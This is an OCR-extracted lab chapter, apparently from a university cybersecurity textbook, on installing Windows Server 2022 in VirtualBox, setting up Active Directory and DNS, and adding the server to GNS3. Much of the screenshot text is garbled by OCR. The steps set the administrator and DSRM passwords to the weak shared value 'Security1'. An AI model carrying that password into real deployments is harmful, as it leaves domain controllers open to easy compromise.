'-)-* <3 PHP 8.1.2-1ubuntu2.14 - ph; * | [ Firefox Privacy Notice — *  + “ _ @ %
< C O O 127.0.0.1/info.php < @ & =

System Linux ubuntuserver 5.15.0-84-generic #93-Ubuntu SMP Tue Sep 5 1
Build Date Aug 18 2023 11:41:11

Build System Limux

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path

jetc/php/8.1/apache2

Loaded Configuration File

fetc/php/8.1/apache2/php.ini

Scan this dir for additional .ini files

fetc/php/8.1/apache2/conf.d

Additional .ini files parsed

jetc/php/8.1/apache2/conf.d/10-opcache.ini, fetc/php/8.1/apache/
/8.1/apache2fconf.d/20-calendar.ini, fetc/php/8.1/apache2/conf.d/2(
fconf.df20-exif.ini, fetc/php/8.1/apache2/conf.d/20-ffi.ini, fetc/php/8
fetc/php/8.1/apache2/conf.df20-ftp.ini, fetc/php/8.1/apache2/conf.d
/8.1/apache2fconf.d/20-iconv.ini, fetc/php/8.1/apache2/conf.d/20-ph
Jconf.df20-posix.ini, /etc/php/8.1/apache2 /conf.d/20-readline.ini, /et
shmop.ini, /etc/php/8.1/apache2/conf.d/20-sockets.ini, fetc/php/8.1
fetc/php/8.1/apache2/conf.d/20-sysvsem.ini, fetc/php/8.1/apache2f
/8.1/apache2fconf.d/20-tokenizer.ini

Show Applications

20210902

PHP Extension

20210902

e 2 | =i & @ @) right el

Figure 19 - PHP Test Successful
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CHAPTER 8

Create a Windows Server

MATHEW J. HEATH VAN HORN, PHD AND RAECHEL FERGUSON

Windows Server is a popular server that offers many functions for businesses to control their enterprise network.
It is not a singular operating system, but rather a group of operating systems that can be used in a variety of ways.
This lab's focus is on installing Windows Server for the first time with the most common features.

LEARNING OBJECTIVES

+ Using an image of Windows Server, install and configure Windows Server as a virtual machine in the
GNS3 workspace

PREREQUISITES

« VirtualBox installed

+ GNS3 Workspace Installed

DELIVERABLES

* None - this is a preparatory lab that supports other labs in this book

RESOURCES

+ Most students at colleges and high schools can download Windows Server (with a license key) through
Azure for Education. Ask your instructor for details or a copy of the Windows Server iso file.

+ Some testers have used the Windows Server Evaluation copy available here. If you use an evaluation
copy, ignore references to product keys.

+ NOTE: Each source will referenced with its corresponding number in superscript (EX: T)atthe
end of a step

+ 1. MSFT WebCast. “How to Install Windows Server 2019 in VirtualBox (STEP by Step Guide).” YouTube,
January 23, 2019. https://www.youtube.com/
watch?v=ZjQSuyuNO0nA&list=PLUZTRMXEpBy32NP6z_qvVBOTWUzdTZVHt.

2. MSFT WebCast. “Basic Configuration Tasks in Windows Server 2019.” YouTube, January 25, 2019.
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https://www.virtualbox.org/
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022
https://www.youtube.com/watch?v=ZjQSuyuN0nA&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt
https://www.youtube.com/watch?v=ZjQSuyuN0nA&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt
https://www.youtube.com/watch?v=ZjQSuyuN0nA&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt
https://www.youtube.com/watch?v=1nxYJSV7-u8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=3
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https://www.youtube.com/
watch?v=1nxYJSV7-u8&list=PLUZTRMXEpBY32NP6z_qvVBOTWUzdTZVHt&index=3.

* 3. MSFT WebCast. “Setting up Active Directory in Windows Server 2019 (Step by Step Guide).” YouTube,
January 28, 2019. https://www.youtube.com/
watch?v=h3sxduUt5a8&list=PLUZTRMXEpByY32NP6z_qvVBOTWUzdTZVHt&index=5.

CONTRIBUTORS AND TESTERS

+ Julian Romano, Student, ERAU Prescott
« Evan Paddock, Cybersecurity Student, ERAU-Prescott
+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | - Install Windows Server as a VM

Installing Windows Server on a VM has some nuances to be followed in VirtualBox. Please read the instructions
carefully.

1. Open Virtual Box Manager
2. Select New from the top ribbon to open the “Create Virtual Machine” window (Figure 1) !
" 1

2.1. Name the VM “Windows Server

2.2. Use the ISO Image drop-down box to select the iso image for Windows Server that you
have downloaded

2.3. Click the box that states Skip Unattended Installation
2.4. Press Next

2.5. Use the default hardware settings (Figure 2)

2.6. Press Next

2.7. Use the default Virtual Hard disk settings (Figure 3)
2.8. Press Next

2.9. Review the Summary and press Finish (Figure 4)

3. Start the Windows Server VM by pressing the big green arrow on VirtualBox Manager to start the
setup process


https://www.youtube.com/watch?v=1nxYJSV7-u8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=3
https://www.youtube.com/watch?v=1nxYJSV7-u8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=3
https://www.youtube.com/watch?v=h3sxduUt5a8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=5
https://www.youtube.com/watch?v=h3sxduUt5a8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=5
https://www.youtube.com/watch?v=h3sxduUt5a8&list=PLUZTRmXEpBy32NP6z_qvVBOTWUzdTZVHt&index=5
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure1.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure2.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure3.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure4.png
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3.1. Onthe setup screen, use the defaults and press Next (Eigure 5) !

3.2. Click Install now (Eigure 6) !

3.3. Enter your product key (Eigure 7) and press next

3.4. Select the desktop experience (Figure 8) and press next

3.5. Read and accept the license terms (Figure 9) and press next '

3.6. Click on Custom Install (Figure 10) !

3.7. Leave the defaults (Figure 11) and press Next

3.8. Wait for the installation to finish (Figure 12) and restart

3.9. Atthe Password Screen, set the password to “Security1” and press Finish (Eigure 13) !

3.10. If your Host OS reacts to the pressing of Ctrl-Alt-Delete instead of the VM, press your Host
Key (right ctrl by default) and delete simultaneously to get to the Windows Server login screen on
your VM

3.11. Log into the Windows Server using the administrator credentials (Eigure 14)

3.12. At the first start-up, you will get two popups (Figure 15)

3.12.1. Server Manager - Click on Don't show this message again

3.12.2. Networks - Click Yes

3.13. This brings you to the Server Manager Dashboard (Figure 16)

Phase Il - Install Active Directory

Active Directory (AD) is a collection of processes and services. It is commonly used to assign and enforce
security policies for all computers on the network via a Windows Server running Domain Services. The Windows
Server with Domain Services running is called a Domain Controller. Most Windows Server services rely on the
Domain Controller to function properly.

1. The Server Management Dashboard should open automatically on Windows Server startup (Figure
16)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure5.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure6.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure7.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure8.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure9.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure10.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure11.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure12.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure13.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure14.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure15.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure16.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure16.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure16.png
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2. On the left side of the dashboard, click on Local Server (Figure 17) and give it a couple of seconds to
populate the information 3

3. Click on Manage in the top right-hand corner of the screen. Once the drop-down appears click on the
Add Roles and Features option shown (Figure 18) 3

4. An “Add Roles and Features Wizard” box will open
4.1. Before you begin - Click next (Figure 19) 3
4.2. Installation Type - click the Role-Based option - click next (Figure 20) 3

4.3. Server Selection - click on your local server (Should be the only option) - click next (Figure
3
21)

4.4. Server Roles - select Active Directory Domain Services which will automatically open a pop-
up window (Figure 22) where you will press the Add Features button 3

4.5. Returns you back to the Select Server Roles (Figure 23) and you can see that the Active
Directory Services option now has a checkmark next to it

4.6. Select DNS Server from the list of options which will open a pop-up Window (Figure 24)
where you will press the Add Features button

NOTE: You may get an alert. This is normal because we haven't finished configuring
everything. Just press “Continue”

4.7. Returns you back to the Select Server Roles (Figure 25) and you can see that the DNS
Server has a checkmark next to it - Click Next >

4.8. Features (Figure 26) - Click Next >

49. AD DS (Figure 27) - Click Next 3

4.10. DNS Server (Eigure 28) - Click Next >

4.11. Confirmation (Eigure 29) - Click Install ®

4.12. Wait for the installation to complete (Figure 30)

4.13. Click on the blue text that states, Promote this server to a domain controller. (Figure 31)
and you will get a popup 3

5. Configure Active Directory Domain Services Wizard


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure17.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure18.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure19.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure20.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure21.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure21.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure22.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure23.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure24.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure25.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure26.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure27.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure28.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure29.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure30.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure31.png
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5.1. Deployment Configuration (Eigure 32)
5.1.1. Click on Add a new forest 3

5.1.2. Root domain name: pick something you would like. For these examples
“mycyber.local” was chosen 3

5.1.3. Click Next

NOTE: Creating a new forest can take a minute or two.

5.2. Domain Controller Options- select a password for the DSRM - we typically use “Security1”
in this book (Figure 33) - Click Next >

5.3. DNS Options (Figure 34) - Ignore the alert if there is one and Click Next (Figure 34) 3

5.4. Additional Options - It takes a moment to auto-populate with MYCYBER, but if it doesn’t
type itin. Then Click Next (Figure 35)

5.5. Paths - Click Next (Figure 36) >
5.6. Review Options - Click Next (Figure 37) 3

5.7. Prerequisites Check - (this could take a minute for a green box to appear - Ignore the
alerts) Click Install (Figure 38) 3

5.8. The Server VM will automatically restart (Figure 39), just wait for it to finish

Phase Il - Add to GNS3

Add the newly created Windows Server VM to GNS3.

1. Follow the procedures for adding a VM to GNS3

2. You may want to make some changes to the default settings

o Change the image to look more like a server instead of a PC

o Change the network options to Allow GNS3 to use any configured VirtualBox adapter


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure32.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure33.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure34.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure35.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure36.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure37.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure38.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/06/Draft_Win_server_Figure39.png
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End of Lab

List of Figures for Printed Version

!ﬁ Create Virtual Machine

~J
X

Virtual machine Name and Operating System

I Please choose a descriptive name and destination folder for the new virtual machine. The name you choose
will be used throughout VirtualBox to identify this machine. Additionally, you can select an IS0 image which
may be used to install the guest operating system.

Mame: Windows Server \\«)
Folder: C:\Users\mheat\VirtualBox VMs v
IS0 Image: B C:\Users\mheat\Downloads\en-us_windows_server_2022_x64_dvd_620d7eac (1).iso R

Edition: Windows Server 2022 Standard (10.0.20348.169 / x64 [ en-US)

Type: Microsoft Windows ME

Version: Windows 2022 (64-bit)

8 skip Unattended Installation
(i) You have selected to skip unattended guest OS install, the guest OS will need to be installed

manually.

Help Expert Mode Back Next Cancel

Figure 1 - Create virtual machine
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!?j Create Virtual Machine

~J
X

Hardware

¢ ou can modify virtual machine's hardware by changing amount of RAM and virtual CPU count.
Enabling EFI is also possible.

-

BaseMemory:..'.............................. 2048 MB [+
4 MB 32768 MBE

4

v : : . : : : C 1
1 CPU 8 CPUs

Processors:

(] Enable EFI (special OSes only

Help Back Next Cancel

Figure 2 - Hardware settings
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!fj Create Virtual Machine

~J
X

Virtual Hard disk

¢ If you wish you can add a virtual hard disk to the new machine. You can either create a new
hard disk file or select an existing one. Alternatively you can create a virtual machine without a
virtual hard disk.

© Create a Virtual Hard Disk Now
Disk Size: . . .« .« . o 0 00 v 50.00 GE .
4,00 MB 2.00TB
(] Pre-allocate Full Size
() Use an Existing Virtual Hard Disk File

remnux-v7-focal-disk001.vdi (Normal, 60.00 GB)

() Do Mot Add a Virtual Hard Disk

Help Back Next Cancel

Figure 3 - Virtual hard disk settings
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W Create Virtual Machine ? X
Summary
¢ The following table summarizes the configuration you have chosen for the new virtual machine.

When you are happy with the configuration press Finish to create the virtual machine.

Alternatively you can go back and modify the configuration.

"’i:lj" Machine Name and 0S5 Type
Machine Name Windows Server
Machine Folder C:/Users/mheat/VirtualBox YMs/Master Images - DO NOT CHANGE/ ...
ISO Image C:/Users/mheat/Downloads/en-us_windows_server_2022_x64_dvd...
Guest 0S Type Windows 2022 (64-bit)
Skip Unattended Install true

c; Hardware
Base Memory 2048
Processor(s) 1
EFI Enable false

2| Disk
Disk Size 50.00 GB
Pre-allocate Full Size false

Help Back Finish Cancel

Figure 4 - Review and approve settings
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BT P - —

*id Microsoft Server Operating System Setup

2 Microsoft

Language to install: [English (United States) -
Time and curren inte English (United States) -

Enter your language and other preferences and click "Next" to continue.

Il rights reserved.

G ey (o w5 ] e B 4 () Rinht ol

Figure 5 - Windows server default settings
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BT P - —

*id Microsoft Server Operating System Setup

= Microsoft

Install now

Repair your computer

n All rights resenved.

G ey (o w5 o] e S 4 [ Rinht ol

Figure 6 - Install now
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BT P - —

=) ﬂf Microsoft Server Operating System Setup

Activate Microsoft Server Operating System Setup

If this is the first time you're installing Microsoft Server Operating System on this PC (or you're
installing a different edition), you need te enter a valid Microsoft Server Operating System product
key. Your product key should be in the confirmation email you received after buying a digital copy
of Microsoft Server Operating System or on a label inside the box that Microsoft Server Operating
System came in.

The product key looks like this: 00K K000 - )OO - X000

If you're reinstalling Microsoft Server Operating Systemn, select I den't have a product key. Your
copy of Microsoft Server Operating System will be automatically activated later.

Privacy statement Idon't have a product key

Collecting information Installing Micro

G ey (o w5 o] e S 4 [ Rinht ol

Figure 7 - Product key
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@ ﬂf Microsoft Server Operating System Setup

Select the operating system you want to install

Operating system Architecture Date modified

Windows Server 2022 Standard 04
andard (Desktop Experience)

Description:
This epticn installs the full Windows graphical environment, consuming extra drive space. It can be
useful if you want te use the Windows desktep or have an app that requires it.

Collecting information Installing Mic rver Operating

B @b @ =i &) [#]Right e

Figure 8 - Desktop Experience
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@ ﬂf Microsoft Server Operating System Setup

Applicable notices and license terms

provided “AS I5,” and no warranty, implied or express (including the *

Limited Warranty), applies to these versions. By installing previews
on your device, you may void or impact your device warranty and
may not be entitled to support from the manufacturer of your device
or network operator, if applicable. Microsoft is not responsible for any
damage thereby caused to you. Microsoft may not provide support
services for previews. If you provide Microsoft comments, suggestions or
other feedback about the preview ("submission”), you grant Microsoft
and its partners rights to use the submission in any way and for any
purpose.

EULAID:Sept2020_DCSTD_EN-US

I'accept the Microsoft Software License Terms. If an crganization is licensing it, I am authorized
to bind the organization.

Collecting information Installing Mi Server Operating

129

Figure 9 - Accept license terms

(=) e ) (5 [ ] mighie e
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@ ﬂf Microsoft Server Operating System Setup

Which type of installation do you want?

Upgrade: Install Microsoft Server Operating System and keep files, settings, and
applications

The files, settings, and applications are moved to the new operating system with this option. This
optien is only available when a supported version of the operating system is already running on
the computer.

Custom: Install Microsoft Server Operating System only (advanced)

The files, settings, and applications aren't moved te the new cperating system with this option. If
you want to make changes to partitions and drives, start the computer using the installation disc.
We recommend backing up your files before you continue.

Collecting information Installing Micro

B @b @ =i &) [#]Right e

Figure 10 - Custom install
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Collecting information

@ ﬂf Microsoft Server Operating System Setup

Where do you want to install the operating system?

Mame

Total size

Freespace Type

;/ Drive 0 Unallocated Space

500 GB

500 GB

+4 Refresh 7% Delete

% Load driver u‘"&. Extend

Installing Microseft Server Operating S

J Format

131

Figure 11 - Use defaults

(=) e ) (5 [ ] mighie e
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ﬂf Microsoft Server Operating System Setup

Installing Microsoft Server Operating System

Status

Copying Microsoft Server Operating System files
Getting files ready for installation (1%)
Installing features

Installing updates

Finishing up

Collecting information

O @ =ik Rl [#]Right e

Figure 12 - Waiting for installation to finish



INSTALLING WINDOWS SERVER 133

Customize setti ngs
Type a password for the built-in administrator account that you can use to sign in to this computer.
User name

Password

Reenter password

Finish

DOk @s = EElE R~ cn

Figure 13 - Set the password

Administrator
I

2ok g =HERE® Rt cr

Figure 14 - Login as admin
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Try managing servers with Windows Admin Center

windows Admin Center brings together new and familiar features in one browser-based
app. |t runs on a server or a PC, and there’s no additional cost beyond your Windows
licenses.

Get more info at aka ms/\WindowsAdminCenter

[ Don't show this message again

T £ Aad
3 Add
WEATE AW 4 Create
5
LEARN MORE

NEReS

l]“;' Network

Do you want to allow your PC to be
discoverable by other PCs and devices
on this network?

| this local servd

rores and features We recommend allowing this on your

home and work networks, but not

other servers to manag public ones.

[=}

server group

ROLES AND SERVER GROUPS

Roles: 1 | Servergroups:1 | Servers total: 1

File and Storage
Services

@ Manageability

Events

i

Performance

BPA results

H £ Type here to search

Figure 15 - First start up

-
B Local Server

@ Manageability

Events

Services

Performance

BPA results




INSTALLING WINDOWS SERVER 135

VirtualBox

Vindows Server [Running] - Oracle

i Server Manager

@ | Maage Toos View

Server Manager * Dashboard

Dashboard WELCOME TO SERVER MANAGER

T Local Server
All Servers R .
Configure this local server
§ File and Storage Services b
QUICK START
2 Add roles and features
3 Add other servers to manage
WHAT'S NEW o
4 Create a server group
5 Connect this st cloud services
Hide
LEARN MORE

ROLES AND SERVER GROUPS
Rolesi 1 | Servergroups:1 | Servers total: 1

File and Storage

P 1 # Local Server
@® Manageability @® Manageability

Events Events

Performance Services

BPA results Performance

BPA results

BORSs 8 @EE 8w

Figure 16 - Server manager dashboard
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[ Server Manager

@ -

Server Manager * Local Se

rver

-@1F

MATHEW J. HEATH VAN HORN, PHD

Manage

Tools

= PROPERTIES
. Far WIN-22800D1)161

iZ8 Dashboard

Local Server

- Computer name
BE All Servers

Workgroup

g File and Storage Services B

Microsoft Defender Firewall
Remaote management
Remote Desktop

NIC Teaming

Ethernet

Operating em version

Hardware information

WIN-2280DD1)16l
WORKGROUP

Public: On
Enabled
Disabled
Disabled

IPv4 address assigned by DHCP, IPv6 enabled

Microsoft Windows Server 2022 Standard

innotek GmbH VirtualBox

Last installed updates

Windows Update

Last checked for updates

Microsoft Defender Antivirus
Feedback & Diagnaostics

E Enhanced Security Configuration
Time zone

Product ID

Processors
nstalled memory (RAM)

Total disk space

Never
Download updates

Never

Real-Time Protectig
Settings

On

(UTC-08:00) Pacific
Mot activated

11th Gen Intel(R) C
2GB
49.39 GB

Log Date and 'F"ns

H £ Type here to search

Figure 17 - Local Server

EVENTS

All events | 9 tota
Server Name 1D
WIN-2280DD1J161 8198
WIN-2280DD1161 1014
WIN-2280DD1J161 8200

el
Severity Source
Error Microsoft-Windaws-Security-SPP
Error Microsoft-Windows-Security-SPP
Error Microsoft-Windows-Security-SPP

Application 6,/29/2023 1:46:10 PM
Application 6/28/2023 1:46:10 PM
Application  6/29/2023 1:46:10 PM

211 PM

6/29/2023 E|
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= Server Manager

ot : ) )
@ v Server Manager * Local Server @1 P Mamge Tooks  view ep
| Add Roles and Features {
=8 PROPERTIES Remaove Roles and Features
28 Dashboard . For WIN-2280DD1J161 Add Servers
B Local Server
_ Computer name WIN-2280DD 116! Last installed updaty CaealssenerGianp
& All Servers Workgroup WORKGROUP Windows Update Server Manager Properties
ii File and Storage Services P Last checked for updates Never
Microsoft Defender Firewall Public: On Microsoft Defender Antivirus Real-Time Protectiq
Remote management Enabled Feedback & Diagnostics Settings
Remote Desktop Disabled E Enhanced Security Configuration On
NIC Teaming Disabled Time zone (UTC-08:00) Pacific
Ethernet IPv4 address assigned by DHCP, IPv6 enabled  Product ID Mot activated
Operating system version Microsoft Windows Server 2022 Standard Processors 11th Gen Intel{R) C
Hardware information innotek GmbH VirtualBox nstalled memory (RAM) 2GB
Total disk space 49.39 GB
EVENTS
All events | 9 tota TASKS W=
Filter el z
-
Server Name ID Severity Source Log Date and Time
WIN-2280DD1)161 8198 Error Microsoft-Windows-Security-SPP Application  6/29/2023 1:46:10 PM
WIN-2280DD1)161 1014 Error Microsoft-Windows-Security-SPP Application  6/29/2023 1:46:10 PM
WIN-2280DD1161 8200  Error Microsoft-Windows-Security-SPP Application 6/29/2023 1:46:10 PM

: 214 PM
E £ Type here to search - % 602023 A

Figure 18 - Add roles and features



138 MATHEW J. HEATH VAN HORN, PHD

I Add Roles and Features Wizard — Oa >
. DESTIMATION SERVER
Before you beg I VIIN-2280001 161
Before You Begin This wizard lhelps you install roles, role sjemces, or features. ‘r‘ouldet.ermme which ro.les_. role services, or
features to install based on the computlng{/\\;leeds of your organization, such as sharing documents, or
Installation Type hosting a website.

Server Selection

To remove roles, role services, or features:
Start the Remove Roles and Features Wizard

Before you continue, verify that the following tasks have been completed:

* The Administrator account has a strong password
* Metwork settings, such as static IP addresses, are configured
* The most current security updates from Windows Update are installed

If you must verify that any of the preceding prereguisites have been completed, close the wizard,
complete the steps, and then run the wizard again.

To continue, click Mext.

[] Skip this page by default

< Previous Mext = Install Cancel

Figure 19 - Click next
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= Add Roles and Features Wizard — O 4

DESTIMATIOM SERVER

| SE|ECt iﬂStaHatl.Oﬂ type WIN-2220DD011161

Select the installation type. You can install roles and features on a running physical computer or virtual

Before You Begin : HEE -
machine, or on an offline virtual hard disk (VHD).

Installation Type

(@ Role-based or feature-based installation

Server Selection ) ) i
Configure a single server by adding roles, role services, and features.

) Remote Desktop Services installation
Install required role services for Virtual Desktop Infrastructure (VD) to create a virtual machine-based
or session-based desktop deployment.

< Previous | | Mext = Install Cancel

Figure 20 - Installation type, Roll-based
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& Add Roles and Features Wizard — Od >
| Select destination server 22000018

Before You Begin Select a server or a virtual hard disk on which to install roles and features,

Installation Type ®) Select a server from the server pool

() Select a virtual hard disk

Server Roles Server Pool

Features
Filter: | |
Name IP Address Operating System
WIN-2280DD1J16l 10.0.2.15 Microsoft Windows Server 2022 Standard

1 Cemputer(s) found

This page shows servers that are running Windows Server 2012 or a newer release of Windows Server,
and that have been added by using the Add Servers command in Server Manager, Offline servers and
newly-added servers from which data collection is still incomplete are not shown.

| < Previous | | Mext = Install Cancel

Figure 21 - Select the server
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Domain Services?

following role services or features are also installed.

[Tools] Group Policy Management
4 Remote Server Administration Tools
4 Role Administration Tools
4 AD DS and AD LD5 Tools

4 AD DS Tools

Include management tools (if applicable)

Add features that are required for Active Directory

You cannet install Active Directory Domain Services unless the

Active Directory module for Windows PowerShell

[Tools] Active Directory Administrative Center
[Tools] AD DS Snap-Ins and Command-Line Tools

Add Features

Cancel

ption

Directory Domain Services

) stores information about

on the network and makes
prmation available to users
twork administrators, AD DS
prnain controllers to give

k users access to permitted
es anywhere on the network
h a single logon process.

141
f& Add Roles and Features Wizard — O *
DESTINATIOM SERVER
Select server rold f, Add Roles and Features Wizard WIN-2280DD1J161
X

< Previous ‘ | Mext = |

‘ Install

| | Cancel

Figure 22 - Add features to active directory
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-rﬁ Add Roles and Features Wizard

Select server roles

Before You Begin

Installation Type Roles

Select one or more roles to install on the selected server.

- O >

DESTIMATIOM SERVER
WIN-2280DD1)161

Description

Server Selection . i :
[] Active Directory Certificate Services

[«

Active Directory Domain Services
[[] Active Directory Federation Services

Server Roles

FeatrEs [] Active Directory Lightweight Directory Services
AD D5 Actrve Directory Rights Management Services
T Device Health Attestation

DHCP Server

DINS Server

Fax Server

File and Storage Services (1 of 12 installed)
Host Guardian Service

Hyper-V

Metwork Policy and Access Services
Print and Document Services
Remote Access

Remote Desktop Services

Volume Activation Services

[ Web Server {IIS)

[] Windows Deployment Services

[] Windows Server Update Services

0

Active Directory Domain Services
(AD D5) stores information about
objects on the network and makes
this information available to users
and network administrators, AD DS
uses domain controllers to give
network users access to permitted
rescurces anywhere on the network
through a single logon process.

< Previous ‘ ‘ Mext = Install

Figure 23 - Select server roles
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e Add Reles and Features Wizard — O *
DESTIMATION SERVER
Select server roles WIN-22800D1)161

[z Add Roles and Features Wizard >

x

Add features that are required for DNS Server?
ption
The following tools are required to manage this feature, but do not

have to be installed on the same server.  Name System (DNS) Server

es name resolution for TCR/IP
tks. DS Server is easier to

e when it is installed on the
lerver as Active Directory

h Services. If you select the
Directory Domain Services

v can install and configure
erver and Active Directory

4 Remote Server Administration Tools
4 Role Administration Tools
[Tools] DMS Server Tools

h Services to work together.
Include management tools (if applicable)
Add Features Cancel
I T
< Previous | | Mext = | | Install | | Cancel

Figure 24 - Add features to DNS
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-I';'ﬁ Add Roles and Features Wizard

Before You Begin
Installation Typs

Server Selaction

Server Roles

Featurss
AD DS
DM5 server

Confirmation

Select server roles

Select one or more roles to install on the selected server.

Roles

MATHEW J. HEATH VAN HORN, PHD

- O >

DESTINATION SERVER
WIN-2280D0D1J161

Description

L]
0]
L]

0 C T B [ [

L]
0]

[

Active Directory Certificate Services

Actrve Directory Domain Services

Active Directory Federation Services

Active Directory Lightweight Directory Services
Active Directory Rights Management Services
Device Health Attestation

DHCP Server

Fax Server

File and Storage Services (1 of 12 installed)
Host Guardian Service

Hyper-V

MNetwork Policy and Access Services

Print and Document Services

Remote Access

Remote Desktop Services

Volume Activation Services

Web Server (II5)

Windows Deployment Services

Windows Server Update Services

Domain Name System [DNS) Server
provides name resolution for TCP/IP
networks. DMNS Server is easier to
manage when it is installed on the
same server as Active Directory
Domain Services. If you select the
Active Directory Domain Services
rale, you can install and configure
DMS Server and Active Directory

Domain Services to work together.

< Previous | |

Mext =

Install

Cancel

Figure 25 - Verify changes and select next
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-ﬁ Add Roles and Features Wizard

Select features

Before You Begin

Installation Type

Select one or more features to install on the selected server.

Features

Server selection
Server Roles
AD DS

DMS Server

Confirmation

. MET Framework 3.5 Feature:

[m] .MET Framework 4.8 Features (2 of 7 installed)
] Background Intelligent Transfer Service (BITS)

[] BitLocker Drive Encryption

[] BitLocker Netwark Unlock

] BranchCache

] Client for NFS

] Containers

[] Data Center Bridging

[] Direct Play

[] Enhanced Storage

[] Failover Clustering

Group Policy Management

[] Host Guardian Hyper-V Support
] 1O Quality of Service

[1 15 Hostable Web Core

] Internet Printing Client

[] IP Address Management (IPAM) Server
[1 LPR Port Monitor

Figure 26 - Confirm Features

- O *

DESTIMATIOMN SERVER
WiN-2220DD1.161

Description

.NET Framework 3.5 combines the
power of the .NET Framework 2.0
APls with new technologies for
building applications that offer
appealing user interfaces, protect
your customers' personal identity
information, enable seamless and
secure communication, and provide
the ability to model a range of
business processes.

< Previous ‘ | Mext =
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= Add Roles and Features Wizard — | o
. . . . DESTINATION SERVER
Active Directory Domain Services WiN-222000116
Before You Begin Active Directory Domain Services [AD [5) stores information ab-D.ut. USErs, c?mputersr é!r?d other devices
on the network. AD DS helps administrators securely manage this information and facilitates resource
Installation Type sharing and collaboration between users,

Server Selection )
Things to note: |

E=}
S = * To help ensure that users can still log on to the network in the case of a server outage, install a

Features minimum of two domain controllers for a domain.

* AD DS requires a DNS server to be installed on the network. If you do not have a DNS server

installed, you will be prompted to install the DMS Server role on this machine.
DM5 Server

Confirmation

Azure Active Directory, a separate online service, can provide simplified identity and
access management, security reperting, single sign-on to cloud and on-premises web
apps.

Learn more about Azure Active Directory

Configure Office 365 with Azure Active Directory Connect

< Previous | | Mext = ‘ ‘ Install | | Cancel

Figure 27 - Confirm AD DS
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— [

& Add Roles and Features Wizard — O >

DESTINATION SERVER

DNS Server WIN-2230DD1 1161

Domain Name Systern (DNS) provides a standard method for associating names with numeric Internet
addresses, This makes it possible for users to refer to network computers by using easy-to-remember
Installation Type names instead of a long series of numbers. In addition, DNS provides a hierarchical namespace,
ensuring that each host name will be unique across a local or wide-area network. Windows DNS services
can be integrated with Dynamic Host Configuration Protocol (DHCP) services on Windows, eliminating

Before You Begin

Server selection

Server Roles the need to add DNS records as computers are added to the network
Features
Things to note:
AD DS
* DNS server integration with Active Directory Domain Services automatically replicates DNS data
along with other Directory Service data, making it easier to manage DMNS.
Confirmation

